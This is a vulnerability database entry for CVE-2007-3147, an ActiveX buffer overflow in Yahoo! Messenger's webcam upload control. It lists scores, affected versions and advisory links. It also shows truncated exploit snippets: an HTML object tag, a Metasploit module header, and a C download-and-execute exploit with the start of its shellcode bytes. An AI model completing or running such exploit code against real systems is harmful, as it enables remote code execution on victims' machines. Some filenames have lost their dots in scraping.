CVE-2007-3147

Published: 11/06/2007 Updated: 16/10/2018

CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6

VMScore: 945

Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Buffer overflow in the Yahoo! Webcam Upload ActiveX control in ywcupl.dll 2.0.1.4 for Yahoo! Messenger 8.1.0.249 allows remote malicious users to execute arbitrary code via a long server property value to the send method. NOTE: some of these details are obtained from third party information.

Vulnerable Product	Search on Vulmon	Subscribe to Product
yahoo messenger 8.1.0.249
yahoo messenger 8.0.1
yahoo messenger 8.0
yahoo messenger 2.0.1.4
yahoo messenger 8.0 2005.1.1.4
yahoo messenger 8.0.0.863

<html>  <html> <object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='ta ...

## # $Id: yahoomessenger_serverrb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions Please see the Metasploit # Framework web site for more information on licensing and terms of use # metasploitcom/framework/ ## require 'msf/core' ...

/* Compile in LCC-win32 (Free!) Download and exec any file you like! Have Fun! */ #include <stdioh> #include <stringh> #include <stdlibh> char *file = "Click_herehtml"; FILE *fp = NULL; unsigned char sc[] = "\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03" "\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x ...

CWE-119 http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html http://research.eeye.com/html/advisories/published/AD20070608.html http://research.eeye.com/html/advisories/upcoming/20070605.html http://messenger.yahoo.com/security_update.php?id=060707 http://www.kb.cert.org/vuls/id/949817 http://www.securityfocus.com/bid/24354 http://securitytracker.com/id?1018204 http://secunia.com/advisories/25547 http://www.securityfocus.com/bid/24341 http://www.securitytracker.com/id?1018203 http://securityreason.com/securityalert/2809 http://www.vupen.com/english/advisories/2007/2094 https://exchange.xforce.ibmcloud.com/vulnerabilities/34758 https://www.exploit-db.com/exploits/4042 http://www.securityfocus.com/archive/1/470861/100/0/threaded https://nvd.nist.gov https://www.exploit-db.com/exploits/4042/

CVE-2007-3147

Vulnerability Summary

Vulnerability Trend

Exploits

References

Vulmon Search

About

Products

Connect